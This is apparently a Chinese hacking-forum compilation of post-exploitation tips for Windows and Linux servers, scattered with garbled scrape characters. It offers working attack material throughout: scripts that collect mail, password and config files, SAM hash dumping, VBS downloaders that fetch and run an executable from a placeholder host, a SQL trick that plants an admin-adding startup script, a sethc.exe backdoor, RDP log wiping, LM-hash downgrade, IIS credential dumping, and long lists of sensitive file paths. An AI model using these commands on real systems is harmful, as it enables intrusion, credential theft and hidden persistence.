' T$ b$ M' N) M5 U
* g$ g# X) Z- e) w; l5 [* I（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
! c5 ?. `& C. q. w: H# |3 s感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
) x6 y* Z0 H8 G8 ]0 ~! v; Z0 b' i————————————————————————————
; K2 E8 ?5 Y% A9 S/ W1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
' G5 j* x$ J% i0 O! c+ Xalzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
! ]% I0 {3 n1 f" ^3 Y注：
& _3 b) X4 k. T0 t& x! X关于tar的打包方式,linux不以扩展名来决定文件类型。
$ X* v* G+ F$ b" G4 A若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
8 \' X" x* V, B# n1 U1 t( ]2 Q# ?那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  

, t' k! x* K. t提权先执行systeminfo
) n2 e* M' L) U1 \0 Ntoken 漏洞补丁号 KB956572
3 R) P' o1 l8 e" SChurrasco          kb952004
/ T$ O: y8 o3 `命令行RAR打包~~·
" K& u4 q4 d. B" Q0 ?rar a -k -r -s -m3 c:\1.rar c:\folder
- ?" H' K) X) {7 T7 g: q- h——————————————
2、收集系统信息的脚本  
7 u; h. O' P: g% m5 efor window：

3 \% e" e& w) C1 q: N# J- L- A! M@echo off
9 \: a- Y# ]7 o& S! \echo #########system info collection
systeminfo
$ V% B8 o3 ?4 O1 z; k+ ever
hostname
net user
0 y4 ~( O/ f  dnet localgroup
net localgroup administrators
net user guest
net user administrator

echo #######at- with   atq#####
echo schtask /query

echo
echo ####task-list#############
tasklist /svc
6 q. @- V/ S; b6 |. }! Vecho
6 r0 w# a+ L# b0 vecho ####net-work infomation
( k5 H4 Z3 t* z0 @2 sipconfig/all
8 Q7 s! ^- _+ U, h- M4 c; S, {, b$ G' Rroute print
2 n& k* f3 d. W! l3 E/ F4 barp -a
3 Q& |# p; y& m9 C# X+ o! U/ [netstat -anipconfig /displaydns
echo
echo #######service############
sc query type= service state= all
echo #######file-##############
cd \
tree -F
for linux：

#!/bin/bash
, i. ?7 E% Y, ]- N* l7 O
echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
4 d, S8 u6 A; recho #######basic infomation##
cat /proc/meminfo
echo
cat /proc/cpuinfo
8 b7 W0 p6 ?; B/ ?+ Decho
rpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null


. t' B$ U( \6 n+ Q3 W  v$ xecho 'u'r id is' `id`
echo ###atq&crontab#####
atq
crontab -l
echo #####about var#####
set

echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
7 G% u! I/ Y% k7 Wcat /etc/hosts
! w) o. H( g7 U! chostname
ipconfig -a
arp -v
/ f  r7 v# A6 }! r! `* N* v; J. Wecho ########user####
  ~1 Y2 g; S2 |% E! E3 ~' d8 Bcat /etc/passwd|grep -i sh
. f9 ^- }  E/ C( Q/ Q6 }9 f
1 @. A8 h" T. J0 Pecho ######service####
chkconfig --list
& s1 l% d2 Z- N; ^
for i in {oracle,mysql,tomcat,samba,apache,ftp}
$ \5 M. h, a3 {cat /etc/passwd|grep -i $i
9 K: x# A: }% B& T3 t% Cdone
! M/ y% t3 _8 R" _6 f
locate passwd >/tmp/password 2>/dev/null
7 e6 [1 s, z7 o. n: csleep 5
locate password >>/tmp/password 2>/dev/null
sleep 5
# ^% {2 t) j' U, V3 slocate conf >/tmp/sysconfig 2>dev/null
sleep 5
locate config >>/tmp/sysconfig 2>/dev/null
; j1 `0 T( }, E! K$ Csleep 5

# U% X4 Y6 b1 v  k9 [+ M###maybe can use "tree /"###
* j/ Z6 T! c. X. fecho ##packing up#########
0 E/ C. K# E6 @! i7 G7 i* r0 }& u4 {tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
3 y8 Q# n% t, g3 L) a! u9 u: Q——————————————
3、ethash 不免杀怎么获取本机hash。
) S& a7 {+ o. E/ k0 {  p首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
- \) D* b3 I0 D               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
1 S9 Y. h8 @. O! U4 S注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
/ a% C1 |* R  T! a0 W据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
5 _( }  f5 ^+ f; c' M" [——————————————
# f. R2 k8 s! N+ q( k  N0 t% M4、vbs 下载者
1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
) b3 u. X  N& E0 Oecho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
9 Q# R/ X0 j1 e2 \3 h$ j6 Y9 ~/ lecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
7 @# p& T8 q+ x( l$ o0 J! x  E% E' U( ycftmon.vbs

2
4 d' W: F4 Y* I% WOn Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
" I3 W' p- B5 \2 J: i2 YSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
8 t4 z/ N9 y. O5 T& TsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
0 [' P+ V8 g& t1 ~- D
cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

( x" }  }7 S8 C# W" x# c; L  C当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
& Z9 t+ h& ]# q. @# r- j——————————————————
6 ?, {* J6 i3 U8 ^/ D( M5、
( K9 e* z' l7 L+ R1.查询终端端口
; o$ [) L5 a$ {9 OREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2 }0 ^3 _+ o$ G/ u- B8 L+ D: v5 S2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
# r+ z! L: t* m) Y% N* MREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
6 ^; f! X/ h- b$ P( cREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
  i* Y6 R' z  s8 {: `# U! kREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
6、create table a (cmd text);
3 w$ S5 O3 B  |- d) A: ]insert into a values ("set wshshell=createobject (""wscript.shell"")");
3 a! }* t9 }3 ]3 k; iinsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
: @* O  m$ O8 z% `# t. E$ O8 ginsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
6 ~5 _: I) U/ P1 yselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
  Q  ~# e# @- @5 G+ [_____
8、for /d %i in (d:\freehost\*) do @echo %i

列出d的所有目录
  
  for /d %i in (???) do @echo %i
( G- d9 a' w8 y! `2 C: [
. Q( P, w& e* B  `2 @把当前路径下文件夹的名字只有1-3个字母的打出来
+ Z. g9 Y4 [! B: U/ ~
2.for /r %i in (*.exe) do @echo %i
. f! f$ r& w* p# F, d% u6 D7 `3 h  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
1 }2 `0 F* ]$ w  i
% I8 C4 x- \( p7 P: Pfor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

5 ?; k# C8 c3 ?' c' o( ~. o3.for /f %i in (c:\1.txt) do echo %i
  
/ z; [( I1 G3 J3 M  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
) u: ^0 B0 h# p4 n; j4 _
1 z. F* }. H2 Z8 ^! Z1 k8 [: D4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
——————————
●注册表:
1.Administrator注册表备份:
8 h8 O7 M5 v( Q/ xreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
9 ?  Q2 g, w! c, K' K修改PortNumber.
; {# W$ x7 u$ s* v
3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
( t( s8 N# E. H+ d2 `; M
4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg
4 b* ^+ X  e2 b% v/ e" ~
5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
% U* y% U2 U( y7 S或者
0 E" a  d& A4 R- R! e: Ynetsh ipsec dynamic set config ipsecexempt value=0
3 L( K1 U: a3 [. P1 F6 @
7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n

6 [$ s' A3 {, E3 U6 Q% y8.系统口令恢复LM加密:
! Z; w: R) q0 L  O/ j; Z9 O9 }reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
# W# S  v+ D$ E/ k' nreg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

  f1 Y% |& |  h, b" }+ {10.shift映像劫持
8 @6 ?* Q/ D- B: O/ ?7 Y; ^' t, ereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

  n( n$ E5 o% M% K" Mreg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
- K9 v5 B7 K) c-----------------------------------
, @( z8 T- V( n4 n, k星外vbs(注：测试通过，好东西）
0 p" V: O2 u3 @, \- ~3 {5 MSet ObjService=GetObject("IIS://LocalHost/W3SVC")
7 v- r+ J" h' ^! L; |% T" L3 wFor Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
4 T6 S! Z4 N: _) {  xif IsNumeric(childObjectName)=true then
3 G. s# M, i) z8 Z) d8 n8 Qset IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
" {1 `3 U$ ]7 i# mexit for
msgbox("error!")
# b* Q6 v8 C; \, T; z' Z( iwscript.quit
end if
4 E" i5 F/ G" H6 i# ^" J( Nserverbindings=IIS.serverBindings
ServerComment=iis.servercomment
# ]4 h/ v7 X0 _/ T. P. ]set IISweb=iis.getobject("IIsWebVirtualDir","Root")
6 T6 D8 {+ A6 h0 U- A, R$ [; huser=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
3 m' [# u' ^, k5 a+ pwscript.echo list
Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
% J/ y* r2 }" I( ^. J& R. _WScript.Quit
, Q; l/ E$ Z4 ^# d/ P" T复制代码
. }) ?( @  K& \, l* b# L% e----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
; m, |" s1 G, c& c. Y0 B<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
1 s, ]* w& g& O7 m/ A% \</OBJECT>
4 ^( x. c; K" Y3 b复制代码
$ h7 l, O% `: S1 G2 A+ L然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
( V6 Q9 p2 m, W  [$ M' c. ~, wPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
& o: x& F1 r3 F* Q7 F url=request.severvariables("url")
0 G- F% B5 g8 e, R6 R& \5 k% ~4 e 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
url=request.severvariables("path_info")
* B* ~: [$ y2 O1 P: U( j path_info可以直接呈现虚拟路径 顺利解析gif大马
1 r6 u' p/ Z( h
9 z3 S, F2 r7 C8 ~' \==============================================================
* z, {( i% ?: B/ l$ N; g' e; o8 I1 |# ULINUX常见路径：
+ h  ~4 e) j6 k
$ ]) z6 L: @+ G/etc/passwd
/etc/shadow
/etc/fstab
/etc/host.conf
/etc/motd
/etc/ld.so.conf
* [* i6 Z  m* a7 g0 J% \/var/www/htdocs/index.php
2 Z. ^- L; o0 m0 C/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
' @6 N! n/ g, h, v: Q  e- d/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
& L5 i* m6 M, U( `/ A  V/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
; Z. N2 P1 b3 j/opt/www/htdocs/index.html
7 J0 Z* Y7 W  h/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
7 s+ y7 I; u6 U5 c" `5 k/usr/local/apache2/htdocs/index.html
# W8 E! S3 B& x: E) x7 }+ I% |/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
! v/ @( U* T) y" \7 [* o/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
5 r% _9 _9 c/ e/www/php4/php.ini
/www/php5/php.ini
9 |# @2 M$ q  n/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
" {7 ~0 z" }4 {+ B" O  v' a& U& y/usr/local/httpd/conf/httpd.conf
0 g  |+ e8 _" I7 {/apache/apache/conf/httpd.conf
  F0 R# f% D/ N+ C2 ~. E. l. [/apache/apache2/conf/httpd.conf
2 y& C- ?) J4 a4 p) K/etc/apache/apache.conf
/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
9 f) P9 I, |; ?( X8 m/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
, ?- S& {2 |; V' S  K$ d( p; y/etc/httpd/conf.d/php.conf
% ^% H0 p$ F0 }# A* Q. p/etc/httpd/conf.d/httpd.conf
* Q5 s2 y6 ^( [6 U- ^/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
8 }6 o( U6 u9 X* T/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
  P- E" ~; f* s+ J2 D% g, T/var/log/apache/error_log
( @9 \9 c* s6 M$ @( d/var/log/apache/error.log
& @/ M: @) ]7 e! t3 P( p  L! @8 J/var/log/apache/access_log
/var/log/apache/access.log
; B' s5 i4 E6 L/var/log/apache2/error_log
- }* @# T/ x, o* i/var/log/apache2/error.log
! H" b% `1 M3 V$ }6 z/var/log/apache2/access_log
/var/log/apache2/access.log
! c6 l" w* b/ l" d; w, p2 H! M/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
; v* f5 H  v; Y( |: N* \( n/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
  O/ j# r. @% [1 Y2 u$ W/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
- Y  e# Y1 m; e3 v7 W/var/log/access_log
* [3 m6 l( _5 _! w/var/log/access.log
2 |5 g) }. i( a& E7 [# j/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
5 o  t: `- ~' O3 c% x/etc/php.ini
/bin/php.ini
/etc/init.d/httpd
1 O7 S# o4 r3 [3 O/etc/init.d/mysql
* J% m: ]; o# t1 ^/etc/httpd/php.ini
$ t$ I* F2 F8 l6 i0 w* L) N/usr/lib/php.ini
5 `7 M1 U: D3 j, F* A/usr/lib/php/php.ini
" y8 U1 o- j5 X3 M0 r% c" f/usr/local/etc/php.ini
/usr/local/lib/php.ini
0 c" R& x. `2 C% j! T/usr/local/php/lib/php.ini
+ s; i& \' y1 S3 n" ^# e/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
( {7 j2 P! u; w* x/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
% ~( f: B+ o' [7 G& Y% K/usr/local/php5/php5.ini
& V5 y+ n) f% I" N! Y( f/usr/local/apache/conf/php.ini
" }2 @3 z& w; v, [* l1 U: W/ M/usr/local/apache/conf/httpd.conf
7 V3 f, s, ~; s2 _/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
( C: f2 m; O" s- n! F" ~9 l5 O. v: m/etc/php5/apache/php.ini
5 W+ }8 G9 a$ I- p2 D* e/etc/php5/apache2/php.ini
  _8 J0 j- _  o. l/ Z; ?/etc/php/php.ini
/etc/php/php4/php.ini
1 F6 C- x" V  d/etc/php/apache/php.ini
) w- m: M& ?/ s; A5 H/etc/php/apache2/php.ini
/web/conf/php.ini
/usr/local/Zend/etc/php.ini
$ e) R7 T0 K- r/opt/xampp/etc/php.ini
$ |; ^  v: F* B5 ^1 u. t/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
( K0 A7 _# h" {( D/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
7 k' L1 F# _) r5 e1 z/etc/php5/cgi/php.ini
/php5/php.ini
# w; h# v% v$ A1 E/php4/php.ini
5 S5 O3 j; y) d6 u6 j: J/php/php.ini
3 |- X: t9 _( L2 {3 S9 {" z7 n9 y+ s/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
. Y" N- G' q4 @, [! a4 L+ X/home/bin/stable/apache/php.ini
! b& \4 [: U6 ?! F% {/var/log/mysql/mysql-bin.log
- r9 W# x$ C" K' w/var/log/mysql.log
7 w$ W# {' m' m/var/log/mysqlderror.log
0 r8 E# ]# _* Q+ S0 t2 W5 v/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
0 o8 Z& D  U/ p4 ~" F' h/var/mysql.log
* c1 H2 l, d" r8 g/ R; @" _! u) q2 |/var/lib/mysql/my.cnf
+ e- ]; X3 {( r6 E9 ?5 {4 ~9 k/usr/local/mysql/my.cnf
9 y0 k1 t% ?9 t/usr/local/mysql/bin/mysql
6 P/ g- P% g3 L( }6 Z* t+ E/etc/mysql/my.cnf
/etc/my.cnf
; _3 k- q8 }: n, j5 F/usr/local/cpanel/logs
8 V( A& y' x' h0 u# [5 ^4 ?/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
" J8 Y; f- `  u" ~5 R- g. ~/ \/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini

6 e* z% T0 g* u' j4 @9 ?2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
5 x; Q0 `. \' K1 A) D! P
c:\windows\php.ini
% l, A! V4 H& h1 R2 }% e8 x, Lc:\boot.ini
c:\1.txt
c:\a.txt
2 r  U% [5 J! t: M& _; y8 e
/ w$ l2 f3 f  O0 [2 r6 Gc:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
1 I" H& l) I3 ac:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
& E5 k& ^0 }& e+ D( A- ~C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe

c:\hzhost\databases\url.asp

c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
. u/ s8 ]8 }7 X) B) q2 A! w2 e0 Y
$ G7 L" z9 c  yC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
c:\www\index.html
9 e8 {( t$ n9 q! o+ ?! r. Oc:\WWWROOT\index.html
% ~, p- F' J/ Qc:\website\index.html
c:\web\index.asp
2 F, }( n( X+ u: {; B" yc:\www\index.asp
c:\wwwsite\index.asp
& A/ b1 o9 F) q6 i% h- R; Oc:\WWWROOT\index.asp
c:\web\index.php
6 [; D9 Z9 l: B/ r# C" D2 [c:\www\index.php
. c7 b' a. T( s4 T4 k* Jc:\WWWROOT\index.php
c:\WWWsite\index.php
c:\web\default.html
c:\www\default.html
  _4 s$ j' @" a! a9 |* j2 v1 B" Nc:\WWWROOT\default.html
$ F# P6 u* y# G, q' r1 D8 Xc:\website\default.html
c:\web\default.asp
c:\www\default.asp
c:\wwwsite\default.asp
c:\WWWROOT\default.asp
$ P+ ]- x& R% P1 A5 Z, s3 D3 M; Ic:\web\default.php
$ R+ T! [* E9 X0 O" a# X  Z3 [c:\www\default.php
c:\WWWROOT\default.php
# U; R/ R5 x; G7 U! ]9 bc:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
0 y6 d( P" ^& H, N% e5 |# M$ Nc:\windows\notepad.exe
) G, M/ l: p+ G6 w* N* zc:\winnt\notepad.exe
- P6 O7 n! E6 V. U) pC:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
1 z' h% N' f# O0 cC:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
+ I# h; F$ @: M0 \  R1 H: a/ o  X! tC:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
1 y$ i2 m0 F! p1 sc:\rising.ini
. y9 T7 j4 o( h$ f0 Y( f& dC:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
* @6 R; Q+ ^5 z) X& gC:\Documents and Settings\Administrator\Cookies\index.dat
" m9 O0 }, w: G1 Z4 `4 V5 ^C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
) ?$ w) b! u) C2 v" x8 [* lC:\Documents and Settings\Administrator\My Documents\a.txt
9 n6 N( V& f6 a2 c4 L3 MC:\Documents and Settings\Administrator\桌面\a.txt
( S( Q) o0 A1 W9 TC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
$ ^3 Y+ F$ A/ `6 ?E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
* h! @, Q# ~% J; JC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
& ]  y8 f; T1 H3 ]2 iC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
9 Y& E1 u1 E0 ~2 lC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
6 \% A. P; ?; Y5 z9 iC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
/ Q1 Q5 J" B0 s+ }, [/ C. K( Y+ wC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
2 q8 D9 h$ g. _6 {& T: R  |C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
9 E: f+ r9 U- A* IC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
1 j. }# I8 k8 x8 d, |C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
# m+ T( K- D$ I: m! S& ic:\MySQL\MySQL Server 4.1\bin\mysql.exe
, [1 D$ d9 H1 M: N( @, Pc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
5 k+ V+ \$ F0 O0 u* gC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
( B7 j$ g8 A, D$ E" q" m5 j; hC:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
& f$ I6 L! n7 A. gC:\WINDOWS\system32\inetsrv\MetaBase.xml
' v5 ~! t6 o  h' [C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
8 K# k" j( }; x) W1 xC:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
% g: m) a' @) ?. F$ F. c+ hc:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
# }% b; {0 x2 f' zc:\tomcat6\tomcat6\bin\version.sh
5 J4 A7 s0 v1 o! Q# Pc:\tomcat6\bin\version.sh
- E3 _& H6 G- V: h0 t7 Vc:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
0 \) N# @: w0 f* i3 lc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
2 {5 {1 h' {/ d' Fc:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
. t: U2 f! w2 _/ ], Nc:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
' d6 G7 D3 K4 E# J1 q/usr/local/tomcat5527/bin/version.sh
: e* _* C9 k7 v0 \5 q$ g/usr/share/tomcat6/bin/startup.sh
( ^: T! i% ^+ w  N. G/usr/tomcat6/bin/startup.sh
  a/ G5 j- G& Xc:\Program Files\QQ2007\qq.exe
5 W: W% A- ], V3 {5 @c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
7 @! ^, N4 a7 O2 S. l6 T- uc:\Program Files\Tencent\qq2010\bin\qq.exe
- V+ W* C6 \; V) c8 Ic:\Program Files\Tencent\qq\Users\All Users\Registry.db
